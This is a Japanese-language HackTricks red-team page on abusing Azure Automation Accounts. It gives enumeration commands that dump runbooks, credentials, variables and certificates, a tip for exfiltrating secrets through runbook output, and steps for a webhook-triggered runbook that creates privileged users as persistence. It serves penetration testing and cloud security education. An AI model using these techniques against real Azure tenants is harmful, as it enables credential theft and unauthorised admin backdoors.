Az - Automation Account

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

基本情報

ドキュメントから: Azure Automationは、クラウドベースの自動化、オペレーティングシステムの更新、および構成サービスを提供し、Azure環境と非Azure環境全体で一貫した管理をサポートします。プロセスの自動化、構成管理、更新管理、共有機能、異種機能が含まれています。

これらはAzureの中での「スケジュールされたタスク」のようなもので、Azure環境を管理、チェックし、構成するためにアクションやスクリプトを実行できます。

Run As アカウント

Run as Accountを使用すると、Azure ADに自己署名証明書を持つアプリケーションが作成され、サービスプリンシパルが作成され、現在のサブスクリプションのアカウントにContributorロールが割り当てられます(多くの権限)。 MicrosoftはAutomation AccountにはManaged Identityの使用を推奨しています。

これは2023年9月30日に削除され、Managed Identitiesに変更されます。

Runbooks & Jobs

Runbooksを使用すると、任意のPowerShellコードを実行できます。これは、攻撃者が添付されたプリンシパルの権限を盗むために悪用される可能性があります。 Runbooksコードには、資格情報などの機密情報が含まれている場合があります。

ジョブ読むことができる場合は、実行の出力(潜在的な機密情報)を含んでいるので確認してください。

Automation Accountsに移動 --> <Automation Accountを選択> --> Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections

Hybrid Worker

Runbookは、Azure内のコンテナまたはHybrid Worker(非Azureマシン)で実行できます。 VMにLog Analytics Agentが展開され、ハイブリッドワーカーとして登録されます。 ハイブリッドワーカージョブは、WindowsではSYSTEM、Linuxではnxautomationアカウントで実行されます。 各ハイブリッドワーカーはハイブリッドワーカーグループに登録されます。

したがって、Windows Hybrid WorkerRunbookを実行することを選択できる場合、外部マシンでSystemとして任意のコマンドを実行できます(素敵なピボットテクニック)。

Compromise State Configuration (SC)

ドキュメントから: Azure Automation State Configurationは、Azure構成管理サービスであり、任意のクラウドまたはオンプレミスデータセンターのノードのためにPowerShell Desired State Configuration(DSC)構成を記述、管理、コンパイルできるサービスです。このサービスはDSCリソースをインポートし、構成をターゲットノードに割り当て、すべてクラウドで実行します。Azure Automation State Configurationには、AzureポータルでConfiguration Managementの下の**State configuration (DSC)**を選択することでアクセスできます。

これらの構成には機密情報が含まれている可能性があります。

RCE

SCを悪用して、管理されたマシンで任意のスクリプトを実行することが可能です。

pageAz - State Configuration RCE

列挙

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

同じことを行うことができますが、既存の実行ブックを変更して、Webコンソールからも行うことができます。

自動化された高権限ユーザー作成の設定手順

1. Automation Accountの初期化

  • 必要なアクション: 新しいAutomation Accountを作成します。

  • 特定の設定: "Azure Run Asアカウントの作成"が有効になっていることを確認します。

2. Runbookのインポートと設定

  • ソース: MicroBurst GitHubリポジトリ からサンプルランブックをダウンロードします。

  • 必要なアクション:

  • ランブックをAutomation Accountにインポートします。

  • ランブックを公開して実行可能にします。

  • ランブックにWebhookをアタッチして、外部トリガーを有効にします。

3. AzureADモジュールの構成

  • 必要なアクション: AzureADモジュールをAutomation Accountに追加します。

  • 追加のステップ: すべてのAzure Automationモジュールが最新バージョンに更新されていることを確認します。

4. 権限の割り当て

  • 割り当てるロール:

  • ユーザー管理者

  • サブスクリプション所有者

  • 対象: Automation Accountにこれらのロールを割り当てて、必要な権限を付与します。

5. アクセス損失の可能性への認識

  • 注意: このような自動化を構成することで、サブスクリプションの管理を失う可能性があることに注意してください。

6. ユーザー作成のトリガー

  • Webhookをトリガーして、POSTリクエストを送信して新しいユーザーを作成します。

  • 提供されたPowerShellスクリプトを使用し、$uriを実際のWebhook URLに置き換え、$AccountInfoを希望のユーザー名とパスワードに更新してください。

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

参考文献

htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

最終更新